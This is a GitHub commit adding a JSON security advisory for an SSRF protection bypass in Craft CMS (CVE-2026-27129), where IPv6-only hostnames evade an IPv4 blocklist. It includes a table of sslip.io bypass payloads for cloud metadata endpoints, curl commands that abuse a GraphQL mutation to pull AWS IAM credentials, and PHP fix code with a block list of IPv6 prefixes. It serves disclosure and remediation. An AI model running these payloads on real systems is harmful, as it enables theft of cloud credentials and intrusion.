Skip to content

Commit 9c0051a

Browse files
1 parent 86ebc0a commit 9c0051a

1 file changed

Lines changed: 94 additions & 0 deletions

File tree

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v2gc-rm6g-wrw9",
4+
"modified": "2026-02-24T15:51:07Z",
5+
"published": "2026-02-24T15:51:07Z",
6+
"aliases": [
7+
"CVE-2026-27129"
8+
],
9+
"summary": "Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution",
10+
"details": "The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.\n\nThis is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).\n\n## Required Permissions\n\nExploitation requires GraphQL schema permissions for:\n- Edit assets in the `<VolumeName>` volume\n- Create assets in the `<VolumeName>` volume\n\nThese permissions may be granted to:\n- Authenticated users with appropriate GraphQL schema access\n- Public Schema (if misconfigured with write permissions)\n\n---\n\n## Technical Details\n\n### Root Cause\n\nFrom PHP documentation: *\"gethostbyname - Get the IPv4 address corresponding to a given Internet host name\"*\n\nWhen no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.\n\n### Bypass Mechanism\n\n```\n+-----------------------------------------------------------------------------+\n| Step 1: Attacker provides URL |\n| http://fd00-ec2--254.sslip.io/latest/meta-data/ |\n+-----------------------------------------------------------------------------+\n| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |\n| -> No A record exists |\n| -> Returns: \"fd00-ec2--254.sslip.io\" (string, not an IP!) |\n+-----------------------------------------------------------------------------+\n| Step 3: Blocklist check |\n| in_array(\"fd00-ec2--254.sslip.io\", ['169.254.169.254', ...]) |\n| -> FALSE (string != IPv4 addresses) |\n| -> VALIDATION PASSES |\n+-----------------------------------------------------------------------------+\n| Step 4: Guzzle makes HTTP request |\n| -> Resolves DNS (including AAAA records) |\n| -> Gets IPv6: fd00:ec2::254 |\n| -> Connects to AWS IMDS IPv6 endpoint |\n| -> CREDENTIALS STOLEN |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Bypass Payloads\n\n### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents\n\n| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |\n|----------------|--------------|-----------------|----------------|\n| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |\n| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |\n| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |\n| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |\n| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |\n| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |\n\n### Additional IPv6 Internal Service Bypass Payloads\n\n| Target | IPv6 Address | Bypass Payload |\n|--------|--------------|----------------|\n| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |\n| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |\n| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |\n| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |\n\n---\n\n## Steps to Reproduce\n\n### Step 1: Verify DNS Resolution\n\n```bash\n# Verify the hostname has no IPv4 record (what gethostbyname sees)\n$ dig fd00-ec2--254.sslip.io A +short\n# (empty - no IPv4 record)\n\n# Verify the hostname has IPv6 record (what Guzzle/curl uses)\n$ dig fd00-ec2--254.sslip.io AAAA +short\nfd00:ec2::254\n```\n\n### Step 2: Enumerate AWS IAM Role Name\n\n```bash\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n -d '{\n \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\\\", filename: \\\"role.txt\\\" }) { id } }\"\n }'\n```\n\n### Step 3: Retrieve AWS Credentials\n\n```bash\n# Replace ROLE_NAME with the role discovered in Step 2\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n -d '{\n \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\\\", filename: \\\"creds.json\\\" }) { id } }\"\n }'\n```\n\n### Step 4: Access Saved Credentials\n\nThe credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).\n\n---\n\n### Attack Scenario\n\n1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled\n2. Attacker sends mutation with `url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\"`\n3. Error message or saved file reveals IAM role name\n4. Attacker retrieves credentials via second mutation\n5. Attacker uses credentials to access AWS services\n6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**\n\n---\n\n## Remediation\n\nReplace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:\n\n```php\n// Resolve both IPv4 and IPv6 addresses\n$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);\nif ($records === false) {\n $records = [];\n}\n\n// Blocked IPv6 metadata prefixes\n$blockedIPv6Prefixes = [\n 'fd00:ec2::', // AWS IMDS, DNS, NTP\n 'fd20:ce::', // GCP Metadata\n '::1', // Loopback\n 'fe80:', // Link-local\n '::ffff:', // IPv4-mapped IPv6\n];\n\nforeach ($records as $record) {\n // Check IPv4 (existing logic)\n if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {\n return false;\n }\n\n // Check IPv6 (NEW)\n if (isset($record['ipv6'])) {\n foreach ($blockedIPv6Prefixes as $prefix) {\n if (str_starts_with($record['ipv6'], $prefix)) {\n return false;\n }\n }\n }\n}\n```\n\n### Additional Mitigations\n\n| Mitigation | Description |\n|------------|-------------|\n| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |\n| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |\n\n---\n\n## Resources\n\n- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3\n- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - \"Get the **IPv4 address** corresponding to a given Internet host name\"\n- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)\n- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)\n- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)\n- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "craftcms/cms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "5.0.0-RC1"
29+
},
30+
{
31+
"fixed": "5.8.23"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 5.8.22"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "Packagist",
43+
"name": "craftcms/cms"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "3.5.0"
51+
},
52+
{
53+
"fixed": "4.16.19"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 4.16.18"
60+
}
61+
}
62+
],
63+
"references": [
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9"
67+
},
68+
{
69+
"type": "WEB",
70+
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"
71+
},
72+
{
73+
"type": "ADVISORY",
74+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27129"
75+
},
76+
{
77+
"type": "WEB",
78+
"url": "https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3"
79+
},
80+
{
81+
"type": "PACKAGE",
82+
"url": "https://github.com/craftcms/cms"
83+
}
84+
],
85+
"database_specific": {
86+
"cwe_ids": [
87+
"CWE-918"
88+
],
89+
"severity": "MODERATE",
90+
"github_reviewed": true,
91+
"github_reviewed_at": "2026-02-24T15:51:07Z",
92+
"nvd_published_at": "2026-02-24T03:16:02Z"
93+
}
94+
}

0 commit comments

Comments
 (0)